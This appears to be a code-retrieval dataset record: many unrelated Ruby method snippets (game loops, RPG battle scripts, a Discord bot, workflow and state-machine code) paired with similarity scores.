end\n\n # Generate a random number in range of the world list length, the word at this\n # index is the game word, split that into an array of chars, using strip incase there is random\n # whitespace for whatever reason\n word_index = rand(@word_list.length)\n @whole_word = @word_list[word_index]\n @word_to_guess = @word_list[word_index].strip.split('')\n\n home\n end", "def initialize\n setup_token\n end", "def perform\n set_token(@data['token'])\n set_stake_currencies(@data['stake_currencies'])\n set_all_stake_currencies(@data['all_stake_currencies']) if @data['all_stake_currencies'].present?\n set_price_points(@data['price_points'])\n set_manager(@data['manager']) if @data['manager'].present?\n set_client(@data['client']) if @data['client'].present?\n set_client_manager(@data['client_manager'])\n set_contract_details(@data['contract_details'])\n set_gas_price(@data['gas_price'])\n set_auxiliary_addresses(@data['auxiliary_addresses'])\n set_origin_addresses(@data['origin_addresses'])\n set_workflow(@data['workflow'])\n set_workflow_current_step(@data['workflow_current_step'])\n set_sign_messages(@data['sign_messages'])\n set_workflow_payload(@data['workflow_payload'])\n set_sub_env_payload(@data['sub_env_payloads']) if @data['sub_env_payloads'].present?\n set_developer_page_addresses(@data['developer_page_addresses']) if @data['developer_page_addresses'].present?\n set_api_keys(@data['api_keys']) if @data['api_keys'].present?\n set_email_already_sent_flag(@data['email_already_sent_flag']) if @data['email_already_sent_flag'].present?\n set_webhook_enabled_flag(@data['webhook_enabled_flag']) if @data['webhook_enabled_flag'].present?\n set_dashboard_details(@data['dashboard_details']) if @data['dashboard_details'].present?\n set_graph_urls(@data['graph_urls']) if @data['graph_urls'].present?\n set_test_economy_details(@data['test_economy_details']) if @data['test_economy_details'].present?\n set_min_balances(@data['min_balances']) if @data['min_balances'].present?\n set_webhook_secrets(@data['webhook_secrets']) if @data['webhook_secrets'].present?\n end", "def start\n test_btc\n test_email\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n jammit\n end", "def start\n super\n $log.debug \"initialized for moogaiops\"\n end", "def run\n tml\n welcome_user\n login_or_create_user\n present_menu_options\nend", "def intentions_for_next_step\n super + [@wander_intention]\n end", "def execute_action\n # This is a VERY lazy way for using different enemy ammo counts.\n # When it's the enemies turn, add one to enemy_attack. This acts as a index\n # For emoving enemy ammo. It's an extremely simple and lazy way :x\n if @active_battler.is_a?(Game_Actor)\n @enemy_attack = -1\n else\n @enemy_attack += 1\n end\n ty_ammo_requirements_execute_action\n end", "def actions!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 11 )\n\n type = ACTIONS\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 142:11: 'actions'\n match( \"actions\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 11 )\n\n end", "def add_main_commands\n tm = TactBattleManager\n add_command(tm::VocabTB::Status, :status, true)\n add_command(tm::VocabTB::Attack, :attack, can_attack?)\n add_command(tm::VocabTB::Skill, :skill, skill_ok_tb?)\n add_command(tm::VocabTB::Move, :move, unit_movable?)\n add_command(tm::VocabTB::Item, :item, item_ok_tb?)\n add_command(tm::VocabTB::Equip, :equip, equip_ok?)\n add_command(tm::VocabTB::Trade, :trade, true)\n add_command(tm::VocabTB::Turn, :turn, true)\n add_command(\"Wait\", :wait, true)\n end", "def setup_end_action\n @break_action = true\n @finish = true\n end", "def phase2_command_fight\r\n # Start actor command phase\r\n start_phase3\r\n end", "def start\n\t\t\t@output.puts(\"Welcome to Mastermind!\")\n\t\t\t@output.puts(\"Created by: #{created_by} (#{student_id})\")\n\t\t\t@output.puts(\"Starting game...\")\n\t\t\t@output.puts(\"The game has 12 turns!\")\n\t\t\t@secret = \"XXXX\"\n\t\t\tvalid1 = checksecret(secret)\n\t\tend", "def start_game_with(people)\n stack_randomizer people\n\n visit root_url\n click_button \"Start\"\n end", "def action_run\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def process_initial_commands\n #in the game class\n case \n when play?\n game = Game.new(instream, outstream, display)\n game.start\n \n when instructions?\n display.game_objective1 # give the user instructions\n display.game_objective2\n\n when quit? # run the loop below until the user says to quit\n outstream.puts display.quit.magenta\n\n else # for anything else\n outstream.puts display.invalid_option\n end\n end", "def run()\r\n @bot.run :async\r\n @bot.online\r\n wake_up(@bot)\r\n\r\n @bot.bucket :helpBucket, limit: 1, time_span: 30, delay: 1\r\n @bot.bucket :hamBucket, limit: 5, time_span: 1, delay: 1\r\n\r\n # Create all markov commands, invoked by dictionary name.\r\n @dict.each_pair do |dictName, dictionary|\r\n commandName = dictName.gsub(/\\s+/,\"_\").downcase.to_sym\r\n @bot.command(commandName, bucket: :hamBucket, rate_limit_message: \"Slow down please!\") do |event, flag|\r\n if bot_can_respond?(@bot, event)\r\n event.respond( @commands.markov_command(event, flag, @numSentences, dictName) )\r\n GC.start\r\n end\r\n end\r\n end\r\n\r\n # Recite all public commands.\r\n @bot.command(:help, bucket: :helpBucket, rate_limit_message: \"Slow down please!\") do |event, flag|\r\n if bot_can_respond?(@bot, event)\r\n event.respond( @commands.get_help(@desc, @prefix) )\r\n end\r\n end\r\n\r\n # Set the num sentences.\r\n @bot.command(:setlength, bucket: :hamBucket, rate_limit_message: \"Slow down please!\") do |event, num|\r\n @numSentences = [1, [num.to_i, 8].min].max # Clamp between 1 and 8.\r\n if bot_can_respond?(@bot, event)\r\n event.respond( \"Number of sentences to generate set to \" + @numSentences.to_s + \".\" )\r\n end\r\n end\r\n\r\n # Report current memory usage.\r\n # Only works when run on linux!\r\n @bot.command(:memory, bucket: :helpBucket, rate_limit_message: \"Slow down please!\") do |event, flag|\r\n if bot_can_respond?(@bot, event)\r\n event.respond( \"Previously I was using \" + @commands.get_prev_mem_usage().to_s() + \" kilobytes of memory.\\n\" + \"I am now using \" + @commands.get_mem_usage().to_s() + \" kilobytes of memory.\" )\r\n end\r\n end\r\n\r\n # Sleep.\r\n @bot.command(:sleep, bucket: :hamBucket, rate_limit_message: \"Slow down please!\") do |event, flag|\r\n if event.author == @bot.bot_application.owner\r\n # Save and close everything.\r\n @commands.save_dicts(@dict.values)\r\n @logger.close_open_logs()\r\n\r\n # Say goodnight.\r\n if bot_can_respond?(@bot, event) and @byeStrings.size > 0\r\n event.respond(@byeStrings.sample)\r\n end\r\n\r\n # Set status to offline and stop the bot.\r\n @bot.invisible\r\n @bot.stop\r\n else\r\n # Respond with a no-no.\r\n if bot_can_respond?(@bot, event) and @rejectStrings.size > 0\r\n event.respond(@rejectStrings.sample)\r\n end\r\n end\r\n end\r\n\r\n # Chat logger.\r\n @bot.message do |event|\r\n @logger.process_message(event, @dict[@logFilename], @prefix)\r\n end\r\n\r\n # Add to dictionary.\r\n @bot.command(:addto, bucket: :hamBucket, rate_limit_message: \"Slow down please!\") do |event, dictName|\r\n if bot_can_respond?(@bot, event) && event.author == @bot.bot_application.owner\r\n messageArray = event.content.strip.split(\" \")[2 .. -1]\r\n success = true\r\n response = \"\"\r\n\r\n if nil==dictName\r\n response = response + \"Please specify a dictionary name. \"\r\n success = false\r\n end\r\n if nil==messageArray or messageArray.length <= 0 \r\n response = response + \"Please provide a string. \"\r\n success = false\r\n end\r\n\r\n if success\r\n message = messageArray.join(\" \")\r\n success = @logger.add_to_dict(event, @dict[dictName], message)\r\n end\r\n\r\n if success==0\r\n response = \"Got it.\"\r\n elsif success==1\r\n response = \"Couldn't do it. That dictionary doesn't exist. \" + response\r\n else\r\n response = \"Couldn't do it. \" + response\r\n end\r\n\r\n event.respond(response)\r\n else\r\n # Respond with a no-no.\r\n if bot_can_respond?(@bot, event) and @rejectStrings.size > 0\r\n event.respond(@rejectStrings.sample)\r\n end\r\n end\r\n end\r\n\r\n # Member join Message.\r\n @bot.member_join do |event|\r\n channel = (event.server.channels.keep_if{|chan| chan.name == @joinChannelName} )[0]\r\n if not channel or not @welcomeMessage or @welcomeMessage==\"\" then return end\r\n\r\n @bot.send_message(channel, \"<@!\" + event.user.id.to_s + \"> \" + @welcomeMessage)\r\n end\r\n\r\n @bot.sync\r\n end", "def start\n while @next_command_index < @commands_array.length\n apply_command(@commands_array[@next_command_index])\n @next_command_index += 1\n end\n end", "def edit_train_wagons\n cases = { 1 => :add_wagon_to_train, 2 => :remove_wagon_from_train }\n if @trains.empty?\n puts 'There are no trains yet.'\n return\n end\n puts 'Select action with train: add wagon(1), remove wagon(2)'\n action = gets.chomp.to_i\n send(cases[action.to_s]) || incorrect_input\n end", "def start\n start_thread\n wait(20) # This so that you wait until either the step is done or 20 seconds is up.\n # It doesn't have to wait the whole 20 seconds if the step finishes quickly.\n end", "def run\r\n wordlist = Wordlist.new(@cmd)\r\n @cmd[:wordlist] = wordlist\r\n generator = Generator.new\r\n\r\n wordlist.print_wordfiles if @cmd[:list]\r\n\r\n if @cmd[:generate]\r\n generator.gen_multi(@cmd)\r\n elsif @cmd[:acrostic]\r\n generator.gen_acrostic(@cmd)\r\n end\r\n\r\n if generator.pass\r\n @cmd[:password] = generator.pass\r\n Printer.new(@cmd)\r\n end\r\n end", "def start_run\n # Abstract\n end", "def start_run\n # Abstract\n end", "def safety_start_player_turn\n ai_done_tb if (@safety_tb+=1)> TM::Defaults::SafetyTimer &&TM.queues_empty?\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def start_rating_run\n @rating_run.process\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def process_token(tk); end", "def run!\n make_new_account\n\n length.times do\n universe = ACTIVITIES\n activity = universe.sample\n unless respond_to?(activity, true)\n LLL.error \"activity #{activity} not implemented\"\n next\n end\n\n LLL.info \"trying #{activity}\"\n before_time = Time.now.to_f\n Timeout.timeout(@timeout) do\n send activity\n end\n after_time = Time.now.to_f\n\n @report[activity].add(after_time - before_time)\n end\n end", "def start(mode)\n end", "def queue_item_intentions()\n next_step_intentions.each { |i| queue_intention(i) }\n end", "def action_start\n proxy_action(:start)\n end", "def setup_move\n return TSBS.error(@acts[0], 4, @used_sequence) if @acts.size < 5\n stop_all_movements\n goto(@acts[1], @acts[2], @acts[3], @acts[4], @acts[5] || 0)\n end", "def initialize_strategy\n main_position = player.command_centers.first.position\n _, *unscouted_bases = BWTA.start_locations.to_a.map(&:position).sort do |a, b|\n main_position.getDistance(b) <=> main_position.getDistance(a)\n end.reverse\n overlord_target = nil\n\n #Basic Strategy:\n strategy_step \"Every idle worker should mine\" do\n precondition { player.workers.any? &:idle? }\n\n postcondition { false } #this step should be repeated\n\n order do\n center = player.command_centers.first\n\n minerals = state.units.values.select{|u| u.type.mineral_field? }.sort do |a, b|\n b.distance(center) <=> a.distance(center)\n end\n\n player.workers.select(&:idle?).each do |worker|\n worker.mine(minerals.pop)\n end\n end\n end\n\n #When there is less than 5 supply and a spawning pool does not exist, a drone should be spawned\n strategy_step \"Spawn a drone\" do\n precondition { player.minerals >= 50 && player.supply_used < 10 }\n\n postcondition { false } #this step should be repeated\n\n order { spawn UnitType.Zerg_Drone }\n end\n\n #When there is not enough supply an overlord should be spawned\n strategy_step \"Spawn an overlord\" do\n precondition { player.minerals >= 100 && player.supply_total <= player.supply_used && player.larva_available? } #not smart\n\n progresscondition { player.units.values.any? {|unit| unit.has_order? \"Spawn Overlord\" } }\n\n postcondition { false }#this step should be repeated\n\n order { spawn UnitType.Zerg_Overlord }\n end\n\n strategy_step \"Early overlord scout\" do\n overlord = nil\n target = nil\n\n precondition do\n overlords = player.get_all_by_unit_type(UnitType.Zerg_Overlord)\n if overlords.count == 1\n overlord = overlords.first\n target = unscouted_bases.shift\n overlord_target = target\n true\n end\n end\n\n progresscondition { overlord && target }\n\n postcondition { overlord.position == target if overlord }\n\n order { overlord.move(target) if overlord }\n end\n\n strategy_step \"Drone scout\" do\n drone_scout = nil\n target = nil\n\n precondition do\n if player.get_all_by_unit_type(UnitType.Zerg_Spawning_Pool).count > 0 && target = unscouted_bases.shift\n drone_scout = player.workers.first\n true\n end\n end\n\n order do\n # TODO why is if drone_scout necessary?\n drone_scout.move(target) if drone_scout\n end\n end\n\n #At 5 supply, 200 minerals a spawning pool should be made\n strategy_step \"Make a spawning pool at 5 supply\" do\n precondition { player.minerals > 200 && player.supply_total >= 10 }\n\n postcondition { player.units.values.any? {|u| u.type == UnitType.Zerg_Spawning_Pool} }\n\n progresscondition { player.units.values.any? {|u| u.has_order? \"Build SpawningPool\" } }\n\n order do\n player.workers.first.build(UnitType.Zerg_Spawning_Pool, build_location(UnitType.Zerg_Spawning_Pool))\n end\n end\n\n #When there is a spawning pool and enough minerals and supply, a zergling should be made\n strategy_step \"Make zerglings\" do\n precondition { player.minerals > 50 && player.supply_left >= 2 && player.larva_available? }\n\n precondition { player.get_all_by_unit_type(UnitType.Zerg_Spawning_Pool).count > 0 }\n\n postcondition { false } #this step should be repeated\n\n order do\n while (player.minerals > 50 && player.supply_left >= 2 && player.larva_available?) do\n spawn UnitType.Zerg_Zergling #spawn many zerglings in one frame\n end\n end\n end\n\n strategy_step \"Move in!\" do\n precondition { zerglings.count >= 1 && enemy.units.count == 0 }\n\n postcondition { false }\n\n order do\n target = unscouted_bases.shift || overlord_target\n\n zerglings.each do |z|\n puts \"Ordering zerglings to move\"\n z.move(target)\n end\n end\n end\n\n #When there are 5 zerglings, they should attack\n strategy_step \"Attack!\" do\n precondition { zerglings.count >= 5 && enemy.units.count > 0 }\n\n postcondition { false } #just keep on doin' it\n\n order do \n puts \"Ordering zerglings to attack\"\n zerglings.each { |z| attack_nearest_enemy(z) }\n end\n end\n end", "def start\n end", "def start\n end", "def process\n if command = AVAILABLE_COMMANDS.find { |command_class| command_class.new(@user, @message).should_start? }\n command.new(@user, @message).start\n else\n BotCommand::Undefined.new(@user, @message).start\n end\n end", "def instructions\n \n end", "def start_turn\n write('START_TURN')\n end", "def trivia_start\n @config[:mode] = \"trivia\"\n @trivia[:start] = Time.now\n self.say \"\\00310Trivia mode is starting.\"\n self.ask_question(@trivia[:cur_quest])\n end", "def on_words_beg(token)\n log \"WORDS_BEG: '#{token}'\"\n super(token)\n end", "def start\n scheduled_fights_scraper\n user_input = nil\n while user_input != 'exit'\n main_menu\n user_input = gets.strip.downcase\n case user_input\n when '1'\n scheduled_fight_details\n select_fight_number('fight_details')\n when '2'\n print_fight_details('channel_location')\n select_fight_number('channel_location')\n when '3'\n print_fight_details('fight_time')\n select_fight_number('fight_time')\n when '4'\n print_fight_details('fighter_names')\n select_fight_number('fighter_names')\n when '5'\n print_fight_details('fight_url')\n select_fight_number('fight_url')\n when 'exit'\n goodbye\n when 'list'\n main_menu\n else\n invalid_input\n end\n end\n end", "def main\n\n\n operations.running.retrieve interactive: false\n save_user operations\n debug_setup(operations) if debug\n \n if KIT_NAME == \"uw kit\"\n if debug\n labels = \"ABCDEF\".split('')\n operations.each.with_index do |op, i|\n op.input(INPUT).item.associate(SAMPLE_KEY, labels[i]) \n op.input(INPUT).item.associate(COMPONENT_KEY, \"\") \n end\n end\n end\n \n save_temporary_input_values(operations, INPUT)\n operations.each do |op|\n op.temporary[:pack_hash] = PACK_HASH\n end\n save_temporary_output_values(operations)\n \n # reassign labels to sample numbers if uw kit\n if KIT_NAME == \"uw kit\"\n operations.each do |op|\n op.temporary[:output_sample] = {\"A\"=>1, \"B\"=>2}[op.temporary[:output_sample]]\n end \n end\n \n run_checks operations\n if KIT_NAME == \"uw kit\"\n uw_kit_introduction operations.running\n else\n kenya_kit_introduction operations.running\n end\n area_preparation \"pre-PCR\", MATERIALS, POST_PCR\n get_pcr_packages operations.running\n open_pcr_packages operations.running\n debug_table operations.running\n check_for_tube_defects sorted_ops.running\n # nuttada thaw\n # nuttada needs vortex + centrigure\n centrifuge_samples sorted_ops.running\n resuspend_pcr_mix sorted_ops.running\n add_template_to_master_mix sorted_ops.running\n cleanup sorted_ops\n start_thermocycler sorted_ops.running\n conclusion sorted_ops\n return {}\n end", "def start\n end", "def start!\n fail(Api::V3::DecisionReviews::StartError, intake) unless intake.start!\n end", "def start\n\n end", "def runs; end", "def run\n welcome\n main_menu_selection #choose to create a character or login to pre-existing character\n player_options #a list of options the selected player from 'selection_menu' can accomplish\nend", "def fusion_step3_part1(active)\n if member_in_action(active)\n reset_atb(active) if $atoa_script['Atoa ATB']\n return\n end\n for battler in active.combination_battlers\n set_actions(battler, active)\n now_action(battler)\n next if battler.now_action.nil?\n if cant_use_fusion(battler)\n reset_atb(active) if $atoa_script['Atoa ATB']\n active.current_phase = 'Phase 5-1' \n active.action_scope = 0\n return\n end\n end\n for battler in active.combination_battlers\n action_start_anime_combination(battler, active.combination_id)\n end\n freeze_atb(active) if $atoa_script['Atoa ATB']\n battlers_current_phase(active, 'Phase 3-2')\n end", "def pre_execute_checks\n validate_terraform_installed\n ensure_output_directory\n Dir.chdir(@opts.get(:input_dir)) do\n puts '=> Fetching modules...'\n tf_get\n end\n end", "def start\n run_all if @options[:all_on_start]\n end", "def all_steps\n\t#make calls to step here...\nend", "def generate_tokens\n {\n title: @title,\n percent_complete: percent_complete,\n progress_bar: progress_bar,\n step: @step,\n steps_remaining: steps_remaining,\n total_steps: @total_steps,\n time_elapsed: format('%0.2fs', time_elapsed),\n time_remaining: @step.positive? ? format('%0.2fs', time_remaining) : '',\n }.merge! @tokens\n end", "def antispoofing_start!\n setup_nodes(AntispoofingA, AntispoofingB, AntispoofingC)\n\n key_agreement\n\n puts \"A has key: #{@a.key!}\"\n puts \"B has key: #{@b.key!}\"\n end", "def start()\n prepare() unless @prepared\n @flows.each_value { |f| f.start() }\n end", "def start\r\n\t\t\t@output.puts('Welcome to Connect 4!')\r\n\t\t\t@output.puts(\"Created by:#{created_by}\")\r\n\t\t\t@output.puts('Game started.')\r\n\t\t\t@output.puts(\"Player 1: O and Player 2: X\")\r\n\t\t\t@output.puts(\"Enter column number to place token.\")\r\n\t\tend", "def raw_start\n with_provider_object do |instance|\n instance.actions.start\n instance.wait_for! do\n sdk_update_status(instance)\n instance.started?\n end\n end\n rescue => e\n $ibm_cloud_log.error(e.to_s)\n $ibm_cloud_log.log_backtrace(e)\n raise\n end" ]
[ "0.58902663", "0.5705497", "0.56762755", "0.55847746", "0.5543325", "0.5517922", "0.5474361", "0.54603976", "0.54177123", "0.5377966", "0.53721416", "0.5320664", "0.5300634", "0.529117", "0.5249527", "0.5214216", "0.5211444", "0.5198405", "0.5194378", "0.5190566", "0.5190566", "0.5190566", "0.51404774", "0.5115466", "0.5091631", "0.509064", "0.5086989", "0.5086914", "0.50746715", "0.5054977", "0.50546074", "0.5037668", "0.5033555", "0.5031201", "0.5031201", "0.5031201", "0.5031201", "0.5031201", "0.5031201", "0.5031201", "0.5031201", "0.5030254", "0.5023105", "0.50194955", "0.5017383", "0.501421", "0.50140065", "0.50130326", "0.4989625", "0.49846727", "0.4980582", "0.49743646", "0.49723628", "0.49664217", "0.49664217", "0.49664217", "0.49664217", "0.49616188", "0.49566177", "0.4950512", "0.49486676", "0.49477288", "0.49477258", "0.4947305", "0.49423233", "0.49423233", "0.49390495", "0.4938997", "0.49344155", "0.4930902", "0.4930483", "0.49219745", "0.4917844", "0.4912848", "0.4901584", "0.49007797", "0.4890795", "0.4887344", "0.4887344", "0.48754743", "0.48733938", "0.487075", "0.487072", "0.48656863", "0.48655373", "0.48538727", "0.48516953", "0.48511985", "0.48442718", "0.4840967", "0.48406264", "0.48253715", "0.48244208", "0.48097014", "0.48070827", "0.48067677", "0.4798569", "0.478848", "0.47818992", "0.4781233" ]
0.5814666
1
Runs all automated transitions which are enabled at the moment
def execute_automated!(source: nil, params: {}, color: {}) @net.transitions.each do |transition| if transition.automated? && source != transition && transition_enabled?(transition, color: color) perform_action!(transition, params: params, color: color) end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def main_transition\r\n # Execute transition\r\n if $data_system.battle_transition == \"\"\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, \"Graphics/Transitions/\" +\r\n $data_system.battle_transition)\r\n end\r\n # Start pre-battle phase\r\n start_phase1\r\n end", "def transitions; end", "def run_all\n @state_machine.run_all\n end", "def do_enable(transition)\n Rails.logger.info \"Transitioning #{login} from #{transition.from} to #{transition.to} via #{transition.event} event. Passing rules: #{passing_rules.map(&:name).join(', ')}.\"\n add_back_disabled_teams\n end", "def wait_for_state_transitions\n # don't wait for anything unless told otherwise\n end", "def update_transition\r\n # If transition is processing\r\n if $game_temp.transition_processing\r\n # Clear transition processing flag\r\n $game_temp.transition_processing = false\r\n # Execute transition\r\n if $game_temp.transition_name == \"\"\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, \"Graphics/Transitions/\" +\r\n $game_temp.transition_name)\r\n end\r\n end\r\n end", "def update_transition\r\n # If transition processing\r\n if $game_temp.transition_processing\r\n # Clear transition processing flag\r\n $game_temp.transition_processing = false\r\n # Execute transition\r\n if $game_temp.transition_name == ''\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, 'Graphics/Transitions/' +\r\n $game_temp.transition_name)\r\n end\r\n end\r\n end", "def all_steps\n\t#make calls to step here...\nend", "def after_transition(*args, &block); end", "def run_actions; end", "def update_sm_with_actions\r\n puts_debug \"Update StateMachine with actions:\"\r\n puts_debug @state_machine.adjacency_matrix\r\n @state_machine.adjacency_matrix.values.each do |trans_array|\r\n trans_array.each do |transition|\r\n puts_debug transition.action\r\n \r\n define_action transition.action\r\n end # each transition\r\n end # each trans array \r\n end", "def start\n state_change(:start) if transition.trigger?(:start)\n add_start_notifications\n run # TODO: Maybe there's a block here?\n clear_state_notifications\n end", "def transitions\n raise NotImplementedError, 'Subclasses must override transitions'\n end", "def do_transition!( transition )\n state.trigger( transition.to_sym )\n self.save\n end", "def replay_scenarios\n\t\tmdl_borne.apply_scenarios\n\tend", "def start\n migration_task.update!(:state => 'migrate')\n handover_to_automate\n queue_signal(:poll_automate_state_machine)\n end", "def setup_timestop\n return unless PONY::ERRNO::check_sequence(current_act)\n @acts[1].times { SceneManager.update_basic }\n end", "def transitions\n [\n {:parked => :idling, :on => :ignite},\n {:idling => :first_gear, :first_gear => :second_gear, :on => :shift_up}\n # ...\n ]\n end", "def nextStep()\n\n @simulationLog = @simulationLog + \"Entering XpdlObject.nextStep() ... \\n\"\n\n # Set of transitions found for this transition (If found more than 1,\n # then need to check the dataField var in MockData File)\n transFound = [] \n\n # Find the Transitions tag\n transitions = @dom.find('//xpdl:Transition')\n transitions.each do |transition|\n if (transition.attributes['From'] == @currActID)\n #@currActID = transition.attributes['To']\n transFound.push(transition)\n end\n end\n \n\n # Check Size of transFound[]\n if transFound.length > 0\n otherwiseTrans = nil \n conditionTrans = []\n normalTrans = nil # a transition without any <Condition tag\n\n # Parse through all transition objects, if one of them has an 'OTHERWISE' \n # condition, then set it to 'otherwiseTrans' var, and pop it out of array\n transFound.each do |transition|\n conds = transition.find(\".//xpdl:Condition\")\n if conds.length != 0 # if a condition tag is found\n if conds[0].attributes['Type'] == \"OTHERWISE\"\n otherwiseTrans = transition\n elsif conds[0].attributes['Type'] == \"CONDITION\"\n puts \"found a condition...\"\n conditionTrans.push(transition)\n end\n else # No Condition for this transition (a normal transition)\n # Perform transition\n #performTrans(transition)\n normalTrans = transition\n end\n end # transFound.each\n\n # Perform transition now (parse through conditionTrans[], then do otherwiseTrans if necessary)\n\n if normalTrans != nil # if this is just a normal transition\n performTrans(normalTrans)\n else # if this transition has conditions\n transPerformed = 0 # Flag to determine if transition has been performed or not\n conditionTrans.each do |con|\n if evalCondition(con)\n performTrans(con) \n transPerformed = 1\n break\n else\n if @power == \"OFF\"\n return \"ERROR\"\n end\n end\n end\n # Now check to see if a valid condition was found or not\n if transPerformed == 0 and otherwiseTrans != nil\n performTrans(otherwiseTrans)\n @simulationLog = @simulationLog + \"NO CONDITION MATCHED: \" + \"Transitioning to 'OTHERWISE' Transition\\n\"\n elsif transPerformed == 0 and otherwiseTrans == nil\n @simulationLog = @simulationLog + \"FATAL ERROR: Unable to find a valid Condition for transition for Activity ID: \" + @currActID + \"\\n\"\n puts \"FATAL ERROR: Unable to find a valid Condition for transition for Activity ID: \" + @currActID + \"\\n\"\n self.terminate() \n return \"ERROR\"\n end\n end # normalTrans != nil\n\n else # transFound.length > 0\n @simulationLog = @simulationLog + \"FATAL ERROR: Unable to find a transition for Activity ID: \" + @currActID + \"\\n\"\n puts \"FATAL ERROR: Unable to find a transition for Activity ID: \" + @currActID + \"\\n\"\n self.terminate() \n return \"ERROR\"\n end \n\n\n \n\n\n #############################################\n \n \n @simulationLog = @simulationLog + \"Successfully Moved to the Next Step... \\n\"\n @simulationLog = @simulationLog + \"@currActID is: \" + @currActID + \"\\n\"\n\n if self.isLastActivity(@currActID)\n @simulationLog = @simulationLog + \"This is the Last Activity, The Simulation is Now Over :( ... POWERING OFF ... GoodBye ^_^ \\n\"\n # Update @mockDataHash and @resultJSON\n update_resultJSON(@currActID)\n update_mockDataHash(@currActID)\n self.terminate()\n return \"ERROR\"\n end\n\n # Update @mockDataHash and @resultJSON\n update_resultJSON(@currActID)\n update_mockDataHash(@currActID)\n\n # Return the Current Active ID: @currActID\n return @currActID\n\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def fire_events!(*events)\n run_action = [true, false].include?(events.last) ? events.pop : true\n fire_events(*(events + [run_action])) || fail(StateMachines::InvalidParallelTransition.new(self, events))\n end", "def main_end\r\n super\r\n # Execute transition\r\n Graphics.transition(40)\r\n # Prepare for transition\r\n Graphics.freeze\r\n # If battle test\r\n if $BTEST\r\n $scene = nil\r\n end\r\n end", "def advance!(opts = {})\n @session.update_meta_store!\n\n log \"advancing to the next transition\"\n\n # Bail and log when we are dry run testing of a particular state\n if opts[:dry].present? and Rails.env.development?\n log \"advance! -> dry run triggered\"\n @advanced_state = true\n return\n end\n\n mark_state_complete!\n @advanced_state = @session.state.transition_next!\n end", "def start_transition\n nil\n end", "def main_transition\r\n Graphics.transition(120)\r\n end", "def trigger!\n\treturn if (@next_state_name == nil)\n\n\tcurrent_state = nil\n current_state = @states.fetch(@current_state_name) unless @current_state_name.nil?\n\n\tnext_state = @states.fetch(@next_state_name)\n next_state_name = @next_state_name\n\n\t@next_state_name = nil\n\n\tcurrent_state.atexit if(current_state.respond_to?(:atexit))\n\t@current_state_name = next_state_name\n\tnext_state.atentry if(next_state.respond_to?(:atentry))\n end", "def begin_lights_test\n puts 'Invoker: start test'\n @on_start.execute if @on_start.is_a? Command\n\n puts 'Invoker: ...loading last tests...'\n\n puts 'Invoker: starting last tests'\n @on_finish.execute if @on_finish.is_a? Command\n end", "def main_begin\n create_spriteset\n # When comming back from battle we ensure that we don't have a weird transition by warping immediately\n if $game_temp.player_transferring\n transfer_player\n else\n $wild_battle.reset\n $wild_battle.load_groups\n end\n fade_in(@mbf_type || DEFAULT_TRANSITION, @mbf_param || DEFAULT_TRANSITION_PARAMETER)\n $quests.check_up_signal\n end", "def main_transition\r\n Graphics.transition\r\n end", "def on_turn_start\n check_turn_start_effects\n end", "def run_all\n @last_run_states = @persistence ? @persistence.read('final_states', {}) : {}\n @skipped = {}\n run_suite(@suite)\n @persistence.store('final_states', @last_run_states) if @persistence\n end", "def setup_transition\n return TSBS.error(@acts[0], 2, @used_sequence) if @acts.size < 3\n Fiber.yield\n name = \"Graphics/Pictures/\" + @acts[1]\n dur = @acts[2]\n vague = @acts[3] || 40\n Graphics.transition(dur, name, vague)\n end", "def on_invalid_transitions(transitions); end", "def update_transitions\n from_states.each do |from|\n if (value = machine.transitions[name][from])\n machine.transitions[name][from] = [value, map[from]].flatten\n else\n machine.transitions[name][from] = map[from] || ANY_STATE\n end\n end\n end", "def runs; end", "def setup_transition(type)\n if type < 0\n $game_switches[::Yuki::Sw::WRP_Transition] = true\n else\n $game_variables[::Yuki::Var::MapTransitionID] = type\n end\n end", "def run\n $log.info \"Starting Event Wizard\"\n loop do\n # reset variables\n min_wait = 30*DAY\n\n # perform overdue events; get min_wait time\n @events.each do |event|\n event.perform if Time.now - event.last_performed >= event.wait\n min_wait = event.wait if event.wait < min_wait\n end\n\n # sleep until another event is ready\n $log.info \"Sleeping for #{min_wait/MINUTE} minutes\"\n sleep min_wait\n end\n end", "def transition_from_pending\n if requires_transcoding?\n enter_transcoding\n elsif requires_post_processing?\n enter_post_processing\n else\n enter_conformance_checking\n end\n end", "def iter_hegemon_auto_loop(i=0)\n do_state_tasks(i)\n update_state(:only_auto)\n end", "def transitions\n @transitions ||= []\n end", "def test_pages\n oldpage = @current_page\n @current_page = nil\n for i in 0...pages.size\n if test_page_conditions(i)\n @current_page = i\n if oldpage != @current_page\n # Run only if the page actually changed\n @direction = current_page.graphic[:direction] || 2\n # Delete any interpreters there may be left trying to run the old page\n if oldpage\n if oldpage.has_trigger?(:parallel_process)\n $game.map.parallel_interpreters.delete_if { |i| i.event == self }\n else\n $game.map.event_interpreters.delete_if { |i| i.event == self }\n end\n end\n # Execute event if new page is Parallel Process or Autorun\n if current_page.has_trigger?(:parallel_process) || current_page.has_trigger?(:autorun)\n trigger\n end\n if current_page.automoveroute[:commands].size > 0\n # Wait 1 frame to start the new autonomous move route so the visuals have time to adjust to the new page.\n @automove_wait = 1\n end\n end\n break\n end\n end\n end", "def run_all\n true\n end", "def run_all\n true\n end", "def run_all\n true\n end", "def run_all\n true\n end", "def activate_finally_hooks\n results = 